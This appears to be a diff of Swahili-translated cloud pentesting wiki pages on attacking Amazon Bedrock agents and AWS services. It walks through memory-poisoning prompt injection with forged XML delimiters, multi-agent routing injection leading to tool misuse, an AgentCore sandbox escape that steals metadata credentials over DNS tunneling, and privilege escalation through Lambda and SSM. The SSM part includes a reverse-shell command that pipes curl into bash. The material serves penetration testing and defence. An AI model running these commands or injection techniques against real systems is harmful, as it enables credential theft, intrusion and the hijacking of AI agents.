-- Memory imewezeshwa na summaries zinaingizwa tena kwenye orchestration prompts.
-- Agent ina tool inayoinjesta untrusted content (web browser/scraper, document loader, third‑party API, user‑generated content) na inaingiza raw result kwenye `<conversation>` block ya summarization prompt.
-- Guardrails au sanitization ya delimiter-like tokens katika tool outputs haitekelezwi.
+Agent huwa exposed ikiwa vyote hivi ni kweli:
+- Memory imeenabled na summaries zinaingizwa tena kwenye orchestration prompts.
+- Agent ina tool inayopokea untrusted content (web browser/scraper, document loader, third‑party API, user‑generated content) na inaingiza raw result kwenye `<conversation>` block ya summarization prompt.
+- Guardrails au sanitization ya delimiter-like tokens kwenye tool outputs haitekelezwi.
 
-### Injection point na boundary‑escape technique
+### Injection point and boundary‑escape technique
 
-- Precise injection point: text ya tool’s result ambayo inawekwa ndani ya Memory Summarization prompt’s `<conversation> ... $conversation$ ... </conversation>` block.
-- Boundary escape: 3‑part payload hutumia forged XML delimiters kumdanganya summarizer aone attacker content kana kwamba ni template-level system instructions badala ya conversation content.
-- Part 1: Huisha kwa forged `</conversation>` ili kumshawishi LLM kwamba conversation block imeisha.
-- Part 2: Huwa “nje” ya `<conversation>` block yoyote; hupangwa kufanana na template/system-level instructions na huwa na malicious directives ambazo huenda zikakopiwa kwenye final summary chini ya topic.
-- Part 3: Hufungua tena kwa forged `<conversation>`, kwa hiari ikibuni user/assistant exchange ndogo inayoimarisha malicious directive ili kuongeza uwezekano wa kuingizwa kwenye summary.
+- Precise injection point: text ya result ya tool inayowekwa ndani ya block ya Memory Summarization prompt `<conversation> ... $conversation$ ... </conversation>`.
+- Boundary escape: 3‑part payload hutumia forged XML delimiters kudanganya summarizer kuichukulia attacker content kama template-level system instructions badala ya conversation content.
+- Part 1: Huisha na forged `</conversation>` ili kuishawishi LLM kwamba block ya conversation imeisha.
+- Part 2: Huwekwa “outside” block yoyote ya `<conversation>`; huandikwa kufanana na template/system-level instructions na huwa na malicious directives zinazoweza kunakiliwa kwenye final summary chini ya topic.
+- Part 3: Hufungua tena na forged `<conversation>`, kwa hiari huunda small user/assistant exchange inayosisitiza malicious directive ili kuongeza uwezekano wa kujumuishwa kwenye summary.
 
 <details>
 <summary>Example 3‑part payload embedded in a fetched page (abridged)</summary>
@@ -57,132 +57,132 @@ User: Please validate the booking.
 Assistant: Validation complete per policy and auditing goals.
 ```
 Notes:
-- The forged `</conversation>` and `<conversation>` delimiters aim to reposition the core instruction outside the intended conversation block so the summarizer treats it like template/system content.
-- The attacker may obfuscate or split the payload across invisible HTML nodes; the model ingests extracted text.
+- Delimiters zilizoghushiwa `</conversation>` na `<conversation>` zinalenga kuhamisha instruction kuu nje ya conversation block iliyokusudiwa ili summarizer ichukulie kama template/system content.
+- Attacker anaweza kuficha au kugawa payload kupitia invisible HTML nodes; model husoma text iliyotolewa.
 
 </details>
 
-### Kwa nini inaendelea kuwepo na jinsi inavyochochewa
+### Kwa nini inaendelea kuwepo na jinsi inavyo-trigger
 
-- Memory Summarization LLM inaweza kujumuisha attacker instructions kama mada mpya (kwa mfano, "validation goal"). Mada hiyo huhifadhiwa kwenye per-user memory.
-- Katika sessions za baadaye, memory content huingizwa kwenye orchestration prompt’s sehemu ya system-instruction. System instructions huathiri sana planning. Kwa hiyo, agent inaweza kimya kimya kuita web-fetching tool ili ku-exfiltrate session data (kwa mfano, kwa encoding fields kwenye query string) bila kuonyesha hatua hii kwenye user-visible response.
+- Memory Summarization LLM inaweza kujumuisha attacker instructions kama topic mpya, kwa mfano, "validation goal". Topic hiyo huhifadhiwa kwenye per-user memory.
+- Katika sessions za baadaye, content ya memory inaingizwa kwenye sehemu ya system-instruction ya orchestration prompt. System instructions huathiri sana planning. Matokeo yake, agent inaweza kimya kimya kuita web-fetching tool ili exfiltrate session data, kwa mfano kwa encoding fields kwenye query string, bila kuonyesha hatua hii kwenye user-visible response.
 
 
 ### Kuirudia kwenye lab (high level)
 
-- Tengeneza Bedrock Agent yenye Memory enabled na web-reading tool/action inayorudisha raw page text kwa agent.
+- Tengeneza Bedrock Agent yenye Memory imewashwa na web-reading tool/action inayorudisha raw page text kwa agent.
 - Tumia default orchestration na memory summarization templates.
-- Mwambie agent asome attacker-controlled URL iliyo na 3-part payload.
-- Maliza session na uangalie Memory Summarization output; tafuta injected custom topic iliyo na attacker directives.
-- Anza new session; kagua Trace/Model Invocation Logs kuona memory imeingizwa na any silent tool calls zinazolingana na injected directives.
+- Mwambie agent aisome attacker-controlled URL yenye payload ya sehemu 3.
+- Maliza session kisha angalia output ya Memory Summarization; tafuta injected custom topic iliyo na attacker directives.
+- Anzisha session mpya; kagua Trace/Model Invocation Logs kuona memory ikiingizwa na silent tool calls zozote zinazoendana na injected directives.
 
 ## AWS - Bedrock Agents Multi-Agent Prompt-Injection Chains
 
-### Overview
+### Muhtasari
 
-Amazon Bedrock multi-agent applications huongeza second prompt/control plane juu ya base agent: **router** au **supervisor** huamua collaborator gani apokee user request, na collaborators wanaweza kufichua **action groups**, **knowledge bases**, **memory**, au hata **code interpretation**. Kama application inachukulia user text kama policy na kuzima Bedrock **pre-processing** au **Guardrails**, normal chatbot user mara nyingi anaweza kuongoza orchestration, kugundua collaborators, leak tool schemas, na kulazimisha collaborator kuita allowed tool kwa attacker-chosen inputs.
+Amazon Bedrock multi-agent applications huongeza control plane ya pili ya prompt juu ya base agent: **router** au **supervisor** huamua ni collaborator gani anayepokea user request, na collaborators wanaweza kufichua **action groups**, **knowledge bases**, **memory**, au hata **code interpretation**. Ikiwa application inachukulia user text kama policy na inazima Bedrock **pre-processing** au **Guardrails**, user wa kawaida wa chatbot mara nyingi anaweza kuelekeza orchestration, kugundua collaborators, leak tool schemas, na kulazimisha collaborator kuita allowed tool kwa inputs alizochagua attacker.
 
 Hii ni **application-level prompt-injection / policy-by-prompt failure**, si Bedrock platform vulnerability.
 
-### Attack surface and preconditions
+### Attack surface na preconditions
 
-Shambulio linakuwa practical wakati yote haya ni kweli:
+Attack inakuwa practical wakati vyote hivi ni kweli:
 - Bedrock application inatumia **Supervisor Mode** au **Supervisor with Routing Mode**.
-- Collaborator ana high-impact **action groups** au nyingine privileged capabilities.
-- Application inakubali **untrusted user text** kutoka kwenye normal chat UI na kuacha model iamue routing, delegation, au authorization.
-- **Pre-processing** na/au **Guardrails** zimezimwa, au tool backends zinaamini model-selected arguments bila independent authorization checks.
+- Collaborator ana **action groups** zenye impact kubwa au capabilities nyingine za privileged.
+- Application inakubali **untrusted user text** kutoka kawaida chat UI na kuacha model iamue routing, delegation, au authorization.
+- **Pre-processing** na/au **Guardrails** zimezimwa, au tool backends zinawaamini model-selected arguments bila independent authorization checks.
 
-### 1. Operating mode detection
+### 1. Ugunduzi wa operating mode
 
-- Katika **Supervisor with Routing Mode**, router prompt ina `<agent_scenarios>` block yenye `$reachable_agents$`. Detection payload inaweza kuamuru router i-forward kwa **first listed agent** na irudishe unique marker, ikithibitisha direct routing ilitokea.
-- Katika **Supervisor Mode**, orchestration prompt hulazimisha responses na inter-agent communication kupitia `AgentCommunication__sendMessage()`. Payload inayoomba unique message kupitia tool hiyo hufingerprint supervisor-mediated handling.
+- Katika **Supervisor with Routing Mode**, router prompt ina `<agent_scenarios>` block yenye `$reachable_agents$`. Payload ya detection inaweza kuamuru router apeleke kwa **first listed agent** na arudishe unique marker, kuthibitisha kuwa direct routing ilitokea.
+- Katika **Supervisor Mode**, orchestration prompt hulazimisha responses na inter-agent communication kupitia `AgentCommunication__sendMessage()`. Payload inayotaka unique message kupitia tool hiyo huonyesha fingerprint ya supervisor-mediated handling.
 
-Useful artifacts:
-- `<agent_scenarios>` / `$reachable_agents$` kwa nguvu inaonyesha router classification layer.
-- `AgentCommunication__sendMessage()` kwa nguvu inaonyesha supervisor orchestration na explicit inter-agent messaging primitive.
+Artifacts muhimu:
+- `<agent_scenarios>` / `$reachable_agents$` huashiria strongly router classification layer.
+- `AgentCommunication__sendMessage()` huashiria strongly supervisor orchestration na explicit inter-agent messaging primitive.
 
-### 2. Collaborator discovery
+### 2. Kugundua collaborators
 
-- Katika **Routing Mode**, discovery prompts zinapaswa kuonekana **ambiguous au multi-step** ili router isukume kwenda supervisor badala ya ku-route moja kwa moja kwa collaborator mmoja.
-- Supervisor prompt huweka collaborators ndani ya `<agents>$agent_collaborators$</agents>`, lakini mara nyingi pia husema usifichue tools/agents/instructions.
-- Badala ya kuomba raw prompt, omba **functional descriptions** za available specialists. Hata partial descriptions zinatosha ku-mapa collaborators kwenda domains kama forecasting, solar management, au peak-load optimization.
+- Katika **Routing Mode**, discovery prompts zinapaswa kuonekana **ambiguous au multi-step** ili router ipandishe kwa supervisor badala ya ku-route moja kwa moja kwa collaborator mmoja.
+- Supervisor prompt huweka collaborators ndani ya `<agents>$agent_collaborators$</agents>`, lakini kawaida pia husema usifichue tools/agents/instructions.
+- Badala ya kuomba raw prompt, omba **functional descriptions** za specialists waliopo. Hata descriptions za sehemu zinatosha kupanga collaborators kulingana na domains kama forecasting, solar management, au peak-load optimization.
 
-### 3. Payload delivery to a chosen collaborator
+### 3. Kupeleka payload kwa collaborator aliyechaguliwa
 
-- Katika **Supervisor Mode**, tumia discovered collaborator role na uagize supervisor a-rely payload **unchanged** kupitia `AgentCommunication__sendMessage()`. Lengo ni payload integrity across the orchestration hop.
-- Katika **Routing Mode**, tengeneza prompt na strong **domain cues** ili router classifier iendelee kutuma kwa desired collaborator bila supervisor review.
+- Katika **Supervisor Mode**, tumia role ya collaborator iliyogunduliwa na uelekeze supervisor asambaze payload **bila kubadilika** kupitia `AgentCommunication__sendMessage()`. Lengo ni payload integrity kupitia orchestration hop.
+- Katika **Routing Mode**, tengeneza prompt yenye **domain cues** kali ili router classifier iitume mara kwa mara kwa collaborator unayetaka bila supervisor review.
 
-### 4. Exploitation progression: leakage to tool misuse
+### 4. Msururu wa exploitation: leak hadi tool misuse
 
-Baada ya delivery, common progression ni:
+Baada ya delivery, mfululizo wa kawaida ni:
 
-1. **Instruction extraction**: mlazimishe collaborator a-paraphrase internal logic yake, operational limits, au hidden guidance.
-2. **Tool schema extraction**: pata tool names, purposes, required parameters, na expected outputs. Hii humpa attacker effective API contract kwa later abuse.
-3. **Tool misuse**: shawishi collaborator aitwe legitimate action group kwa attacker-controlled arguments, na kusababisha unauthorized business actions kama fraudulent ticket creation, workflow triggering, record manipulation, au downstream API abuse.
+1. **Instruction extraction**: kulazimisha collaborator kutoa paraphrase ya internal logic yake, operational limits, au hidden guidance.
+2. **Tool schema extraction**: kuchochea majina ya tools, madhumuni, required parameters, na expected outputs. Hii humpa attacker effective API contract kwa matumizi mabaya ya baadaye.
+3. **Tool misuse**: kumshawishi collaborator aitumie legitimate action group kwa attacker-controlled arguments, na kusababisha unauthorized business actions kama fraudulent ticket creation, workflow triggering, record manipulation, au downstream API abuse.
 
-Core issue ni kwamba backend inaacha model iamue **nani anaweza kufanya nini** kwa prompt semantics badala ya kutekeleza authorization na validation nje ya LLM.
+Tatizo kuu ni kwamba backend huacha model iamue **nani anaweza kufanya nini** kwa prompt semantics badala ya kutekeleza authorization na validation nje ya LLM.
 
-### Notes for operators and defenders
+### Notes kwa operators na defenders
 
-- **Trace** na **model invocation logs** ni useful kuthibitisha routing, prompt augmentation, collaborator selection, na kama tool calls zilitekelezwa kwa attacker-supplied arguments.
-- Chukulia kila collaborator kama separate trust boundary: scope action groups kwa ukali, validate tool inputs kwenye backend, na hitaji server-side authorization kabla ya high-impact actions.
-- Bedrock **pre-processing** inaweza kukataa au ku-classify suspicious requests kabla ya orchestration, na **Guardrails** zinaweza ku-block prompt-injection attempts wakati wa runtime. Zinapaswa kuwezeshwa hata kama prompt templates tayari zina rules za “do not disclose”.
+- **Trace** na **model invocation logs** ni muhimu kuthibitisha routing, prompt augmentation, collaborator selection, na kama tool calls zilitoka na arguments zilizotolewa na attacker.
+- Chukulia kila collaborator kama trust boundary tofauti: punguza scope ya action groups, thibitisha tool inputs kwenye backend, na hitaji server-side authorization kabla ya high-impact actions.
+- Bedrock **pre-processing** inaweza kukataa au ku-classify requests zenye shaka kabla ya orchestration, na **Guardrails** zinaweza kuzuia prompt-injection attempts wakati wa runtime. Zinapaswa kuwashwa hata kama prompt templates tayari zina sheria za “do not disclose”.
 
 ## AWS - AgentCore Sandbox Escape via DNS Tunneling and MMDS Abuse
 
-### Overview
+### Muhtasari
 
-Amazon Bedrock AgentCore Code Interpreter inaendeshwa ndani ya AWS-managed microVM na inaunga mkono different network modes. Interesting post-exploitation question si "can code run?" kwa sababu code execution ni product feature, bali ni kama managed isolation bado inazuia **credential theft**, **exfiltration**, na **C2** mara code inapokimbia.
+Amazon Bedrock AgentCore Code Interpreter huendeshwa ndani ya AWS-managed microVM na inasaidia network modes tofauti. Swali muhimu la post-exploitation si "can code run?" kwa sababu code execution ni product feature, bali kama managed isolation bado inazuia **credential theft**, **exfiltration**, na **C2** mara code inapofanya kazi.
 
-Useful chain ni:
+Chain yenye manufaa ni:
 
-1. Fikia microVM metadata endpoint kwenye `169.254.169.254`
+1. Fikia microVM metadata endpoint katika `169.254.169.254`
 2. Rejesha temporary credentials kutoka MMDS ikiwa tokenless access bado inaruhusiwa
 3. Tumia sandbox DNS recursion kama covert egress path
 4. Exfiltrate credentials au endesha DNS-based control loop
 
-Huu ni Bedrock-specific version ya classic **metadata -> credentials -> exfiltration** cloud attack path.
+Hii ni toleo la Bedrock-specific la classic **metadata -> credentials -> exfiltration** cloud attack path.
 
-### Main primitives
+### Primitives kuu
 
 #### 1. Runtime SSRF -> MMDS credentials
 
-AgentCore Runtime haipaswi kufichua arbitrary code execution kwa end users, kwa hiyo interesting primitive hapo ni **SSRF**. Ikiwa runtime inaweza kulazimishwa kuomba `http://169.254.169.254/...` na MMDS ikakubali plain `GET` requests bila MMDSv2 token, SSRF inakuwa direct credential theft primitive.
+AgentCore Runtime haitakiwi kufichua arbitrary code execution kwa end users, hivyo primitive ya kuvutia hapo ni **SSRF**. Ikiwa runtime inaweza kudanganywa iombe `http://169.254.169.254/...` na MMDS ikubali plain `GET` requests bila MMDSv2 token, SSRF inakuwa direct credential theft primitive.
 
-Hii inaiga old **IMDSv1 risk model**:
+Hii hurejesha model ya zamani ya hatari ya **IMDSv1**:
 ```bash
 curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
 curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
 ```
-If MMDSv2 imetekelezwa, simple SSRF kawaida hupoteza impact kwa sababu pia inahitaji `PUT` request ya awali ili kupata session token. If MMDSv1-compatible access bado imewezeshwa kwenye older agents/tools, treat Runtime SSRF as a high-severity credential theft path.
+If MMDSv2 inatekelezwa, simple SSRF kawaida hupoteza impact kwa sababu pia inahitaji `PUT` request ya awali ili kupata session token. Ikiwa MMDSv1-compatible access bado imewashwa kwenye older agents/tools, chukulia Runtime SSRF kama high-severity credential theft path.
 
 #### 2. Code Interpreter -> MMDS reconnaissance
 
-Ndani ya Code Interpreter, arbitrary code execution tayari ipo by design, hivyo MMDS hasa ni muhimu kwa sababu inaexpose:
+Ndani ya Code Interpreter, arbitrary code execution tayari ipo kwa design, kwa hiyo MMDS hasa huwa muhimu kwa sababu inafichua:
 
 - temporary IAM role credentials
-- instance metadata and tags
-- internal service plumbing inayodokeza AWS backends zinazoweza kufikiwa
+- instance metadata na tags
+- internal service plumbing inayoonyesha AWS backends zinazoweza kufikiwa
 
 Interesting paths kutoka kwenye research:
 
 - `http://169.254.169.254/latest/meta-data/tags/instance/aws_presigned-log-url`
 - `http://169.254.169.254/latest/meta-data/tags/instance/aws_presigned-log-kms-key`
 
-Returned S3 pre-signed URL ni useful kwa sababu inaonyesha sandbox bado inahitaji outbound path kwenda AWS services. Hiyo ni strong hint kwamba "isolated" inamaanisha tu "restricted", si "offline".
+The returned S3 pre-signed URL ni useful kwa sababu inathibitisha sandbox bado inahitaji outbound path fulani kwenda AWS services. Hilo ni strong hint kwamba "isolated" inamaanisha tu "restricted", sio "offline".
 
 #### 3. Sandbox DNS recursion -> DNS tunneling
 
-The most valuable network finding is that Sandbox mode can still perform **DNS resolution**, including recursion for arbitrary public domains. Even if direct TCP/UDP data traffic is blocked, that is enough for **DNS tunneling**.
+The most valuable network finding ni kwamba Sandbox mode bado inaweza kufanya **DNS resolution**, ikiwemo recursion kwa arbitrary public domains. Hata kama direct TCP/UDP data traffic imezuiwa, hiyo inatosha kwa **DNS tunneling**.
 
-Quick validation from inside the interpreter:
+Quick validation kutoka ndani ya interpreter:
 ```python
 import socket
 
 socket.gethostbyname_ex("s3.us-east-1.amazonaws.com")
 socket.gethostbyname_ex("attacker.example")
 ```
-Ikiwa domains zinazodhibitiwa na attacker zitatatuliwa, tumia jina la query lenyewe kama transport:
+Ikiwa domains zinazodhibitiwa na attacker zinatatuliwa, tumia jina la query lenyewe kama transport:
 ```python
 import base64
 import socket
@@ -202,7 +202,7 @@ DNS responses can also carry small tasking values, enabling a basic **bidirectio
 
 ### Practical post-exploitation chain
 
-1. Pata code execution in AgentCore Code Interpreter or SSRF in AgentCore Runtime.
+1. Get code execution in AgentCore Code Interpreter or SSRF in AgentCore Runtime.
 2. Query MMDS and recover the attached role credentials when tokenless metadata is available.
 3. Test whether sandbox/public DNS recursion reaches an attacker domain.
 4. Chunk and encode credentials into subdomains.
@@ -216,15 +216,15 @@ The undocumented MMDS tag values can also leak backend identity information. If
 ```bash
 aws sts get-access-key-info --access-key-id <ACCESS_KEY_ID>
 ```
-Hii haipei moja kwa moja ruhusa ya kuandika nje ya wigo wa njia ya object iliyowekwa awali kwa signed, lakini husaidia kuchora ramani ya miundombinu inayosimamiwa na AWS nyuma ya huduma ya Bedrock.
+Hii haipei kiotomatikiki ruhusa ya kuandika nje ya wigo wa njia ya object iliyowekwa mapema, lakini inasaidia kuchora ramani ya miundombinu inayosimamiwa na AWS iliyo nyuma ya huduma ya Bedrock.
 
 ### Hardening / detection
 
-- Pendelea **VPC mode** unapohitaji isolation halisi ya network badala ya kutegemea Sandbox mode.
+- Pendelea **VPC mode** unapohitaji kutengwa kwa kweli kwa mtandao badala ya kutegemea Sandbox mode.
 - Zuia DNS egress katika VPC mode kwa **Route 53 Resolver DNS Firewall**.
-- Hitaji **MMDSv2** pale AgentCore inapoonyesha control hiyo, na zima uoanifu wa MMDSv1 kwenye agents/tools za zamani.
-- Chukulia Runtime SSRF yoyote kama inayoweza kuwa sawa na wizi wa metadata credential hadi tabia ya MMDSv2-only ithibitishwe.
-- Weka execution roles za AgentCore zikiwa na scope finyu sana kwa sababu DNS tunneling hubadilisha code execution ya "non-internet" kuwa njia ya vitendo ya exfiltration.
+- Hitaji **MMDSv2** ambapo AgentCore inafichua udhibiti huo, na zima uoanifu wa MMDSv1 kwenye agents/tools za zamani.
+- Chukulia Runtime SSRF yoyote kama inayoweza kuwa sawa na wizi wa metadata credentials hadi tabia ya MMDSv2-only ithibitishwe.
+- Weka AgentCore execution roles zikiwa na scope finyu sana kwa sababu DNS tunneling hubadilisha code execution ya "non-internet" kuwa njia halisi ya exfiltration.
 
 
 ## References

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-privesc/README.md

@@ -6,30 +6,30 @@
 
 ### `bedrock-agentcore:StartCodeInterpreterSession` + `bedrock-agentcore:InvokeCodeInterpreter` - Code Interpreter Execution-Role Pivot
 
-AgentCore Code Interpreter ni mazingira ya utekelezaji yanayosimamiwa. **Custom Code Interpreters** zinaweza kusanidiwa na **`executionRoleArn`** ambayo “hutoa permissions kwa code interpreter kufikia AWS services”.
+AgentCore Code Interpreter ni mazingira ya utekelezaji yanayosimamiwa. **Custom Code Interpreters** zinaweza kusanidiwa na **`executionRoleArn`** ambayo “provides permissions for the code interpreter to access AWS services”.
 
-Ikiwa **lower-privileged IAM principal** anaweza **kianzisha + invoke** Code Interpreter session iliyosanidiwa na **more privileged execution role**, mwitaji anaweza kwa ufanisi **pivot** kwenda kwenye permissions za execution role hiyo (lateral movement / privilege escalation kutegemea scope ya role).
+Ikiwa **lower-privileged IAM principal** anaweza **kuanzisha + kuinvoke** session ya Code Interpreter ambayo imesanidiwa na **more privileged execution role**, mteja anaweza kwa vitendo **pivot into the execution role’s permissions** (lateral movement / privilege escalation kulingana na scope ya role).
 
 > [!NOTE]
-> Hii kwa kawaida ni suala la **misconfiguration / excessive permissions** (kutoa wide permissions kwa interpreter execution role na/au kutoa broad invoke access).
-> AWS inaonya wazi kuepuka privilege escalation kwa kuhakikisha execution roles zina **equal or fewer** privileges kuliko identities zinazoruhusiwa ku-invoke.
+> Hii kwa kawaida ni suala la **misconfiguration / excessive permissions** (kutoa permissions pana kupita kiasi kwa execution role ya interpreter na/au kutoa broad invoke access).
+> AWS explicitly warns to avoid privilege escalation by ensuring execution roles have **equal or fewer** privileges than identities allowed to invoke.
 
 #### Preconditions (common misconfiguration)
 
-- Kuna **custom code interpreter** yenye over-privileged **execution role** (mfano: access kwa sensitive S3/Secrets/SSM au capabilities zinazofanana na IAM-admin).
+- Kuna **custom code interpreter** yenye **execution role** iliyo na over-privileged (mfano: access kwa sensitive S3/Secrets/SSM au capabilities za IAM-admin-like).
 - Mtumiaji (developer/auditor/CI identity) ana permissions za:
 - start sessions: `bedrock-agentcore:StartCodeInterpreterSession`
 - invoke tools: `bedrock-agentcore:InvokeCodeInterpreter`
-- (Optional) Mtumiaji pia anaweza create interpreters: `bedrock-agentcore:CreateCodeInterpreter` (humruhusu kuunda interpreter mpya iliyosanidiwa na execution role, kutegemea guardrails za org).
+- (Optional) Mtumiaji pia anaweza kucreate interpreters: `bedrock-agentcore:CreateCodeInterpreter` (hii inamruhusu kucreate interpreter mpya iliyosanidiwa na execution role, kutegemea org guardrails).
 
 #### Recon (identify custom interpreters and execution role usage)
 
-Orodhesha interpreters (control-plane) na kagua configuration yao:
+List interpreters (control-plane) and inspect their configuration:
 ```bash
 aws bedrock-agentcore-control list-code-interpreters
 aws bedrock-agentcore-control get-code-interpreter --code-interpreter-id <CODE_INTERPRETER_ID>
 ```
-> Amri ya create-code-interpreter inasaidia `--execution-role-arn` ambayo inafafanua ni ruhusa gani za AWS ambazo interpreter itakuwa nazo.
+> Amri create-code-interpreter inasaidia `--execution-role-arn` ambayo inafafanua ruhusa gani za AWS interpreter atakuwa nazo.
 
 #### Hatua ya 1 - Anzisha session (hii inarudisha `sessionId`, si interactive shell)
 ```bash
@@ -45,7 +45,7 @@ echo "SessionId: $SESSION_ID"
 ```
 #### Hatua ya 2 - Invoke code execution (Boto3 or signed HTTPS)
 
-Hakuna **interactive python shell** kutoka `start-code-interpreter-session`. Execution hufanyika kupitia **InvokeCodeInterpreter**.
+Hakuna **interactive python shell** kutoka `start-code-interpreter-session`. Execution hutokea kupitia **InvokeCodeInterpreter**.
 
 **Option A - Boto3 example (execute Python + verify identity):**
 ```python
@@ -68,7 +68,7 @@ arguments={
 for event in resp.get("stream", []):
 print(event)
 ```
-Kama interpreter imewekwa na execution role, output ya `sts:GetCallerIdentity()` inapaswa kuonyesha identity ya role hiyo (si low-priv caller), ikionyesha pivot.
+Ikiwa interpreter imesanidiwa na execution role, matokeo ya `sts:GetCallerIdentity()` yanapaswa kuonyesha utambulisho wa role hiyo (si wa low-priv caller), kuonyesha pivot.
 
 **Option B - Signed HTTPS call (awscurl):**
 ```bash
@@ -87,36 +87,36 @@ awscurl -X POST \
 }
 }'
 ```
-#### Athari
+#### Impact
 
-* **Lateral movement** ndani ya yoyote AWS access ambayo interpreter execution role inayo.
-* **Privilege escalation** ikiwa interpreter execution role ina privileges zaidi kuliko caller.
-* Ugunduzi mgumu zaidi ikiwa CloudTrail data events kwa interpreter invocations hazijawezeshwa (invocations huenda zisirekodiwe kwa default, kutegemea configuration).
+* **Lateral movement** into whatever AWS access the interpreter execution role has.
+* **Privilege escalation** if the interpreter execution role is more privileged than the caller.
+* Harder detection if CloudTrail data events for interpreter invocations are not enabled (invocations may not be logged by default, depending on configuration).
 
 #### Mitigations / Hardening
 
-* **Least privilege** kwenye interpreter `executionRoleArn` (itende kama Lambda execution roles / CI roles).
-* **Restrict who can invoke** (`bedrock-agentcore:InvokeCodeInterpreter`) na nani anaweza kuanzisha sessions.
-* Tumia **SCPs** kukataa InvokeCodeInterpreter isipokuwa kwa approved agent runtime roles (org-level enforcement inaweza kuwa ya lazima).
-* Wezesha zinazofaa **CloudTrail data events** kwa AgentCore inapohitajika; toa alert kwa unexpected invocations na session creation.
+* **Least privilege** on the interpreter `executionRoleArn` (treat it like Lambda execution roles / CI roles).
+* **Restrict who can invoke** (`bedrock-agentcore:InvokeCodeInterpreter`) and who can start sessions.
+* Use **SCPs** to deny InvokeCodeInterpreter except for approved agent runtime roles (org-level enforcement can be necessary).
+* Enable appropriate **CloudTrail data events** for AgentCore where applicable; alert on unexpected invocations and session creation.
 
 ## Amazon Bedrock Agents
 
 ### `lambda:UpdateFunctionCode`, `bedrock:InvokeAgent` - Agent Tool Hijacking via Lambda
 
-Bedrock Agents zinaweza kutumia **Lambda-backed action groups** kama tools (external execution). Ikiwa principal anaweza **modify code ya Lambda function inayotumiwa na agent**, na kisha akaweza **invoke agent**, anaweza ku-execute attacker-controlled code chini ya **Lambda execution role**.
+Bedrock Agents can use **Lambda-backed action groups** as tools (external execution). If a principal can **modify the code of a Lambda function used by an agent**, and can then **invoke the agent**, they can execute attacker-controlled code under the **Lambda execution role**.
 
 > [!NOTE]
-> Hii ni **cross-service trust abuse** (Bedrock → Lambda), si vulnerability. Attacker huenda asiweze ku-invoke Lambda moja kwa moja, lakini bado anaweza ku-trigger kupitia agent.
+> This is a **cross-service trust abuse** (Bedrock → Lambda), not a vulnerability. The attacker may not be able to invoke the Lambda directly, but can still trigger it via the agent.
 
 #### Preconditions (common misconfiguration)
 
-- Kipo Bedrock Agent chenye **action group backed by a Lambda function**
-- Attacker ana:
+- A Bedrock Agent exists with an **action group backed by a Lambda function**
+- The attacker has:
 - `lambda:UpdateFunctionCode`
 - `bedrock:InvokeAgent`
-- Lambda execution role ina permissions pana zaidi kuliko attacker
-- Attacker anaweza kutambua Lambda inayotumiwa na agent
+- The Lambda execution role has broader permissions than the attacker
+- The attacker can identify the Lambda used by the agent
 
 #### Recon
 
@@ -130,7 +130,7 @@ Kagua Lambda:
 ```bash
 aws lambda get-function --function-name <FUNCTION_NAME>
 ```
-#### Utekelezaji
+#### Unyonyaji
 
 Badilisha code ya Lambda:
 ```bash
@@ -140,14 +140,14 @@ aws lambda update-function-code \
 --function-name <FUNCTION_NAME> \
 --zip-file fileb://payload.zip
 ```
-Mfano wa payload:
+Payload ya mfano:
 ```python
 import boto3
 
 def lambda_handler(event, context):
 return boto3.client("sts").get_caller_identity()
 ```
-Tumia kupitia agent:
+## Trigger via agent:
 ```bash
 aws bedrock-agent-runtime invoke-agent \
 --agent-id <AGENT_ID> \
@@ -155,10 +155,10 @@ aws bedrock-agent-runtime invoke-agent \
 --session-id test \
 --input-text "trigger tool"
 ```
-#### Athari
+#### Impact
 
-* **Privilege escalation** kwenda Lambda execution role
-* **Data exfiltration** kutoka AWS services
+* **Privilege escalation** ndani ya Lambda execution role
+* **Data exfiltration** kutoka huduma za AWS
 * **Cross-service abuse** kupitia trusted agent execution
 
 #### Mitigations

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md

@@ -4,7 +4,7 @@
 
 ## SSM
 
-Kwa maelezo zaidi kuhusu SSM angalia:
+Kwa taarifa zaidi kuhusu SSM angalia:
 
 {{#ref}}
 ../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
@@ -12,7 +12,7 @@ Kwa maelezo zaidi kuhusu SSM angalia:
 
 ### `ssm:SendCommand`
 
-Mshambuliaji mwenye ruhusa **`ssm:SendCommand`** anaweza **kutekeleza commands kwenye instances** zinazoendesha Amazon SSM Agent na **kudhibiti IAM Role** inayotekelezwa ndani yake.
+Mshambuliaji aliye na ruhusa **`ssm:SendCommand`** anaweza **kutekeleza commands kwenye instances** zinazoendesha Amazon SSM Agent na **ku-compromise IAM Role** inayofanya kazi ndani yake.
 ```bash
 # Check for configured instances
 aws ssm describe-instance-information
@@ -23,7 +23,7 @@ aws ssm send-command --instance-ids "$INSTANCE_ID" \
 --document-name "AWS-RunShellScript" --output text \
 --parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"
 ```
-Ikiwa unatumia mbinu hii ili kupandisha privilege ndani ya EC2 instance ambayo tayari imecompromise, unaweza tu kukamata rev shell locally kwa:
+Ikiwa unatumia technique hii ili kuongeza privileges ndani ya EC2 instance ambayo tayari imeshaharibiwa, unaweza tu kunasa rev shell locally kwa:
 ```bash
 # If you are in the machine you can capture the reverseshel inside of it
 nc -lvnp 4444 #Inside the EC2 instance
@@ -31,11 +31,11 @@ aws ssm send-command --instance-ids "$INSTANCE_ID" \
 --document-name "AWS-RunShellScript" --output text \
 --parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"
 ```
-**Athari Inayowezekana:** Direct privesc to the EC2 IAM roles attached to running instances with SSM Agents running.
+**Athari Inayowezekana:** Direct privesc hadi kwa EC2 IAM roles zilizounganishwa na instances zinazoendeshwa na SSM Agents zinazoendeshwa.
 
 ### `ssm:StartSession`
 
-Mshambuliaji mwenye ruhusa **`ssm:StartSession`** anaweza **kuanzisha session inayofanana na SSH katika instances** zinazoendesha Amazon SSM Agent na **kuathiri IAM Role** inayoendeshwa ndani yake.
+Mshambulizi aliye na ruhusa **`ssm:StartSession`** anaweza **kuanza session inayofanana na SSH katika instances** zinazoendesha Amazon SSM Agent na **kucompromise IAM Role** inayofanya kazi ndani yake.
 ```bash
 # Check for configured instances
 aws ssm describe-instance-information
